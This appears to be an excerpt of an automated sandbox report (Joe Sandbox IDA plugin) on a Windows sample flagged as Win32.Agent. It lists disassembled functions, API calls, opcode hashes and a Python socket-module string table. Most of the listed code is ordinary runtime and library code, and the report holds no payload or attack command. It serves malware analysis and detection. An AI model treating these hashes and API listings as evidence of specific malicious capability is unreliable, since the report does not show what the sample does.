Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 5d8201fa0a053522d8e2745fc031291a5de4dcc2ccc761ece97f39acabe0c75f
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 46D10272B08A918AF710DF75D4403ACBBB1FB64798B804276DE5E97B89DE38D106C321

Function 00007FF7EAD1F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD1FA7C
_get_daylight.LIBCMT ref: 00007FF7EAD1FA8D
_get_daylight.LIBCMT ref: 00007FF7EAD1FA9E
_isindst.LIBCMT ref: 00007FF7EAD1FB69

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: b646dc32fdc2b01716099ffc340b7a1ed4211f84c7692e1b8b8c957dbdd4d13a
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 3F510772F0421186FB14EF749A957BCA7A1EB68368F900277DD1E52AEDDB3CA402C611

Function 00007FF7EAD1577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7EAD157AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7EAD15811
GetLastError.KERNEL32 ref: 00007FF7EAD158A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD156B4), ref: 00007FF7EAD158EE

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: cec8a74ef634075d583b2d591895f3102ba968675d24564c1a9b005a7a1d460a
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: DF517A62E086418AFB10EFB1D4503BDA7B5EB68B58F908576DE0D5B688DF3CD4408762

Function 00007FF7EAD020C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7EAD020F4
SetWindowLongPtrW.USER32 ref: 00007FF7EAD02116
GetWindowLongPtrW.USER32 ref: 00007FF7EAD02140
InvalidateRect.USER32 ref: 00007FF7EAD02160

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 116b9c171df06c3b699768c802153cc3758b5bc8230ba9d9a71ca4fcbbf4221e
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: B811C631A0C54242F754E76AE5C437A9392EB98788FC44072DB4907B8DCD7DE9C58222

Function 00007FF7EAD25B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD21760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD21793

_get_daylight.LIBCMT ref: 00007FF7EAD25C34
_get_daylight.LIBCMT ref: 00007FF7EAD25C45

Strings

?, xrefs: 00007FF7EAD25BC5

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 0832f63381606b910b54b91cc4a58b1e48be86c60960d9c6e05e0e605ec3dc26
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 01412922A0828242FB60EB25D50577AE760EB81BA4F944276EE5C07ADDFF3CD441C721

Function 00007FF7EAD19014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD19046

Part of subcall function 00007FF7EAD1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7EAD0CBA5), ref: 00007FF7EAD19064

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, xrefs: 00007FF7EAD19052

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
API String ID: 3580290477-3707282323
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 09989019731bc11d295b86d517404659dbd2b4d5995e343ae4d049c5235a4405
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: F3418C72A08A0286FB15EF31D8402BDA7A4EB55790B9540B6E94E47B99DE3CE4C1C322

Function 00007FF7EAD1CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7EAD1CD4F
GetLastError.KERNEL32 ref: 00007FF7EAD1CD71

Strings

U, xrefs: 00007FF7EAD1CCFB

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: a2595562d678dce318dea90b3f32f44ee078f15d798888efe63efa9cfaa06a50
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: BD41D632B18B5181EB60DF25E4443BAABA5FB98B84F804132EE4D87798EF3CD401CB51

Function 00007FF7EAD1F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7EAD1F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7EAD1F64A

Strings

:, xrefs: 00007FF7EAD1F60E

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: e5a636bf4574df351d9f193d1bc54ae2bd4c38df9f6831aaec94935af671b0e1
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: 9421C362B0864181FB20EB21D04436DA3E1FBA8B44FC5417BD69D43698DF7CE545CB62

Function 00007FF7EAD0FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7EAD0FD98
RaiseException.KERNEL32 ref: 00007FF7EAD0FDD9

Strings

csm, xrefs: 00007FF7EAD0FDC6

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 0f7d24ecbdfb765eea94364325dd8b81555a85adc87ed2c9e4b4c66f6e34aa2a
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 5E112E32618B8182EB61DF15E44035AB7E5FB88B98F684671DB8D07758DF3CD551CB10

Function 00007FF7EAD2073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2076C
GetDriveTypeW.KERNEL32 ref: 00007FF7EAD207AC

Strings

:, xrefs: 00007FF7EAD20795

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 6ac71f684b0196dc91a5adc0b388a21a3753f3f1d86e1d51e424bfae0a360557
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 0F018F6291C20686F721FF60946537EA3A0EF58745FC10077D54D83699DE7CE904CB36

Analysis Process: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exePID: 7664, Parent PID: 7612COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2%
Total number of Nodes:	791
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF8E8131091 Relevance: 349.5, APIs: 6, Strings: 193, Instructions: 1276networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8E81310F4
00007FF8E70A082C.PYTHON313 ref: 00007FF8E8131109
VerSetConditionMask.NTDLL ref: 00007FF8E81327C2
VerSetConditionMask.NTDLL ref: 00007FF8E81327D3
VerSetConditionMask.NTDLL ref: 00007FF8E81327E4
VerifyVersionInfoA.KERNEL32 ref: 00007FF8E813280A

Strings

NI_MAXSERV, xrefs: 00007FF8E813258D
IPV6_TCLASS, xrefs: 00007FF8E81322BD
IPPORT_RESERVED, xrefs: 00007FF8E8131E10
SocketType, xrefs: 00007FF8E8131207
IP_HDRINCL, xrefs: 00007FF8E8131F39
IPPROTO_MAX, xrefs: 00007FF8E8131D02
AF_HYPERV, xrefs: 00007FF8E8131418
HV_GUID_WILDCARD, xrefs: 00007FF8E81314EF
SO_KEEPALIVE, xrefs: 00007FF8E813170E
IP_MULTICAST_LOOP, xrefs: 00007FF8E813200B
IPPROTO_FRAGMENT, xrefs: 00007FF8E8131BF4
IPV6_UNICAST_HOPS, xrefs: 00007FF8E8132191
AF_UNSPEC, xrefs: 00007FF8E813130A
TCP_KEEPINTVL, xrefs: 00007FF8E8132335
AF_DECnet, xrefs: 00007FF8E81313A0
IPV6_MULTICAST_HOPS, xrefs: 00007FF8E8132137
IP_RECVTOS, xrefs: 00007FF8E8131F93
IPV6_DONTFRAG, xrefs: 00007FF8E81321EB
IPPROTO_ICMP, xrefs: 00007FF8E8131A8C
SO_RCVBUF, xrefs: 00007FF8E81317E0
_socket.CAPI, xrefs: 00007FF8E81312B4
IP_PKTINFO, xrefs: 00007FF8E8132065
SOL_SOCKET, xrefs: 00007FF8E81319DE
AF_BLUETOOTH, xrefs: 00007FF8E8131586
AI_ALL, xrefs: 00007FF8E8132515
MSG_BCAST, xrefs: 00007FF8E81319A2
IPV6_HOPOPTS, xrefs: 00007FF8E8132227
HV_PROTOCOL_RAW, xrefs: 00007FF8E8131436
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FF8E8131472
SO_REUSEADDR, xrefs: 00007FF8E81316D2
AI_ADDRCONFIG, xrefs: 00007FF8E8132533
HV_GUID_LOOPBACK, xrefs: 00007FF8E813154C
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FF8E8131542
INADDR_UNSPEC_GROUP, xrefs: 00007FF8E8131EA3
SOMAXCONN, xrefs: 00007FF8E81318B2
TCP_KEEPIDLE, xrefs: 00007FF8E8132317
IP_UNBLOCK_SOURCE, xrefs: 00007FF8E8132083
SOCK_RAW, xrefs: 00007FF8E813163C
socket.herror, xrefs: 00007FF8E8131113
SOL_TCP, xrefs: 00007FF8E8131A1A
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FF8E81326C4
AF_INET6, xrefs: 00007FF8E8131382
IPPORT_USERRESERVED, xrefs: 00007FF8E8131E2E
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FF8E8131454
WSAStartup failed: error code %d, xrefs: 00007FF8E81339BF
RCVALL_OFF, xrefs: 00007FF8E813270E
IPPROTO_IGMP, xrefs: 00007FF8E8131AAA
MSG_ERRQUEUE, xrefs: 00007FF8E8131984
HV_GUID_ZERO, xrefs: 00007FF8E81314D0
EAI_NODATA, xrefs: 00007FF8E8132425
SOCK_STREAM, xrefs: 00007FF8E8131600
IP_DROP_MEMBERSHIP, xrefs: 00007FF8E8132047
SO_BROADCAST, xrefs: 00007FF8E813174A
IP_MULTICAST_TTL, xrefs: 00007FF8E8131FED
IP_TTL, xrefs: 00007FF8E8131F75
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FF8E81314AE
IPPROTO_SCTP, xrefs: 00007FF8E8131CC6, 00007FF8E8131DF2
SHUT_RDWR, xrefs: 00007FF8E813267A
MSG_WAITALL, xrefs: 00007FF8E8131966
INADDR_BROADCAST, xrefs: 00007FF8E8131E67
SO_SNDLOWAT, xrefs: 00007FF8E81317FE
SO_ACCEPTCONN, xrefs: 00007FF8E81316B4
IPPROTO_NONE, xrefs: 00007FF8E8131C6C
MSG_DONTROUTE, xrefs: 00007FF8E813190C
has_ipv6, xrefs: 00007FF8E813123A
AF_INET, xrefs: 00007FF8E8131328
EAI_FAIL, xrefs: 00007FF8E81323CB
EAI_AGAIN, xrefs: 00007FF8E813238F
SO_SNDBUF, xrefs: 00007FF8E81317C2
SO_EXCLUSIVEADDRUSE, xrefs: 00007FF8E81316F0
IP_BLOCK_SOURCE, xrefs: 00007FF8E81320A1
SOCK_RDM, xrefs: 00007FF8E8131678
NI_NAMEREQD, xrefs: 00007FF8E81325E7
WSAStartup failed: requested version not supported, xrefs: 00007FF8E81339E1
NI_MAXHOST, xrefs: 00007FF8E813256F
AI_PASSIVE, xrefs: 00007FF8E813249D
IPPROTO_PUP, xrefs: 00007FF8E8131B5E
IPPROTO_ND, xrefs: 00007FF8E8131BB8
MSG_PEEK, xrefs: 00007FF8E81318EE
EAI_SERVICE, xrefs: 00007FF8E8132461
MSG_CTRUNC, xrefs: 00007FF8E8131948
SO_RCVLOWAT, xrefs: 00007FF8E813181C
IPV6_PKTINFO, xrefs: 00007FF8E8132245
IPPROTO_IDP, xrefs: 00007FF8E8131B9A
IPPROTO_RDP, xrefs: 00007FF8E8131D98
INADDR_NONE, xrefs: 00007FF8E8131EFD
AF_SNA, xrefs: 00007FF8E81313DC
IPPROTO_CBT, xrefs: 00007FF8E8131D5C
HV_GUID_PARENT, xrefs: 00007FF8E813156B
IPPROTO_ICLFXBM, xrefs: 00007FF8E8131D20
AF_IRDA, xrefs: 00007FF8E81313FA
NI_NUMERICSERV, xrefs: 00007FF8E8132605
socket.gaierror, xrefs: 00007FF8E8131164
EAI_NONAME, xrefs: 00007FF8E8132443
MSG_OOB, xrefs: 00007FF8E81318D0
IPPROTO_UDP, xrefs: 00007FF8E8131B7C
IP_TOS, xrefs: 00007FF8E8131F57
MSG_TRUNC, xrefs: 00007FF8E813192A
IPPROTO_IP, xrefs: 00007FF8E8131A53
BTPROTO_RFCOMM, xrefs: 00007FF8E81315A4
TCP_FASTOPEN, xrefs: 00007FF8E8132371
SIO_KEEPALIVE_VALS, xrefs: 00007FF8E81326AB
IPPROTO_AH, xrefs: 00007FF8E8131C30
INADDR_ANY, xrefs: 00007FF8E8131E49
IP_MULTICAST_IF, xrefs: 00007FF8E8131FCF
IPV6_MULTICAST_IF, xrefs: 00007FF8E8132155
IPPROTO_IPV6, xrefs: 00007FF8E8131B04
IPV6_JOIN_GROUP, xrefs: 00007FF8E81320FB
IPV6_LEAVE_GROUP, xrefs: 00007FF8E8132119
IPPROTO_EGP, xrefs: 00007FF8E8131B40
00:00:00:FF:FF:FF, xrefs: 00007FF8E81315DB
IPPROTO_IPV4, xrefs: 00007FF8E8131AE6
EAI_SOCKTYPE, xrefs: 00007FF8E813247F
AI_CANONNAME, xrefs: 00007FF8E81324BB
INADDR_LOOPBACK, xrefs: 00007FF8E8131E85
NI_NUMERICHOST, xrefs: 00007FF8E81325C9
SIO_RCVALL, xrefs: 00007FF8E8132692
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FF8E81320BF
SO_OOBINLINE, xrefs: 00007FF8E81317A4
BDADDR_ANY, xrefs: 00007FF8E81315C6
AI_NUMERICHOST, xrefs: 00007FF8E81324D9
IP_RECVDSTADDR, xrefs: 00007FF8E8131FB1
SO_RCVTIMEO, xrefs: 00007FF8E8131858
00:00:00:00:00:00, xrefs: 00007FF8E81315BC
error, xrefs: 00007FF8E81311A6
IPPROTO_HOPOPTS, xrefs: 00007FF8E8131A6E
SOCK_DGRAM, xrefs: 00007FF8E813161E
MSG_MCAST, xrefs: 00007FF8E81319C0
AI_V4MAPPED, xrefs: 00007FF8E8132551
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FF8E8131504
IPPROTO_ESP, xrefs: 00007FF8E8131C12
IP_OPTIONS, xrefs: 00007FF8E8131F1B
EAI_BADFLAGS, xrefs: 00007FF8E81323AD
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FF8E81320DD
SO_DONTROUTE, xrefs: 00007FF8E813172C
IPV6_CHECKSUM, xrefs: 00007FF8E81321CD
SO_DEBUG, xrefs: 00007FF8E8131696
INADDR_ALLHOSTS_GROUP, xrefs: 00007FF8E8131EC1
SHUT_RD, xrefs: 00007FF8E813263E
RCVALL_ON, xrefs: 00007FF8E813272C
WSAStartup failed: network not ready, xrefs: 00007FF8E81339D8
EAI_FAMILY, xrefs: 00007FF8E81323E9
HV_GUID_CHILDREN, xrefs: 00007FF8E813152D
SO_USELOOPBACK, xrefs: 00007FF8E8131768
RCVALL_MAX, xrefs: 00007FF8E8132768
CAPI, xrefs: 00007FF8E81312EF
AF_APPLETALK, xrefs: 00007FF8E8131364
00000000-0000-0000-0000-000000000000, xrefs: 00007FF8E81314C6, 00007FF8E81314E5
IPPROTO_PGM, xrefs: 00007FF8E8131DB6
IPPROTO_GGP, xrefs: 00007FF8E8131AC8
SO_ERROR, xrefs: 00007FF8E8131876
TCP_KEEPCNT, xrefs: 00007FF8E8132353
IPPROTO_RAW, xrefs: 00007FF8E8131CE4
NI_DGRAM, xrefs: 00007FF8E8132623
SO_LINGER, xrefs: 00007FF8E8131786
SOL_IP, xrefs: 00007FF8E81319FC
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FF8E8131EDF
AI_NUMERICSERV, xrefs: 00007FF8E81324F7
TCP_NODELAY, xrefs: 00007FF8E81322DB
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FF8E8131523
IPV6_MULTICAST_LOOP, xrefs: 00007FF8E8132173
IP_ADD_MEMBERSHIP, xrefs: 00007FF8E8132029
IPPROTO_ROUTING, xrefs: 00007FF8E8131BD6
SOL_UDP, xrefs: 00007FF8E8131A38
IPV6_HOPLIMIT, xrefs: 00007FF8E8132209
SOCK_SEQPACKET, xrefs: 00007FF8E813165A
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FF8E8131561
TCP_MAXSEG, xrefs: 00007FF8E81322F9
IPPROTO_L2TP, xrefs: 00007FF8E8131DD4
BDADDR_LOCAL, xrefs: 00007FF8E81315E5
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FF8E8131490
SHUT_WR, xrefs: 00007FF8E813265C
timeout, xrefs: 00007FF8E81311C8
RCVALL_SOCKETLEVELONLY, xrefs: 00007FF8E813274A
HV_GUID_BROADCAST, xrefs: 00007FF8E813150E
IPPROTO_DSTOPTS, xrefs: 00007FF8E8131C8A
SO_SNDTIMEO, xrefs: 00007FF8E813183A
IPV6_RECVRTHDR, xrefs: 00007FF8E8132263
IPV6_RECVTCLASS, xrefs: 00007FF8E8132281
IPPROTO_ST, xrefs: 00007FF8E8131D3E
gaierror, xrefs: 00007FF8E8131187
SO_TYPE, xrefs: 00007FF8E8131894
IPPROTO_IGP, xrefs: 00007FF8E8131D7A
EAI_MEMORY, xrefs: 00007FF8E8132407
IPPROTO_PIM, xrefs: 00007FF8E8131CA8
AF_IPX, xrefs: 00007FF8E8131346
IPV6_RTHDR, xrefs: 00007FF8E813229F
herror, xrefs: 00007FF8E8131145
IPV6_V6ONLY, xrefs: 00007FF8E81321AF
AF_LINK, xrefs: 00007FF8E81313BE
NI_NOFQDN, xrefs: 00007FF8E81325AB
IPPROTO_TCP, xrefs: 00007FF8E8131B22
IPPROTO_ICMPV6, xrefs: 00007FF8E8131C4E

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ConditionMask$00007A082InfoStartupVerifyVersion
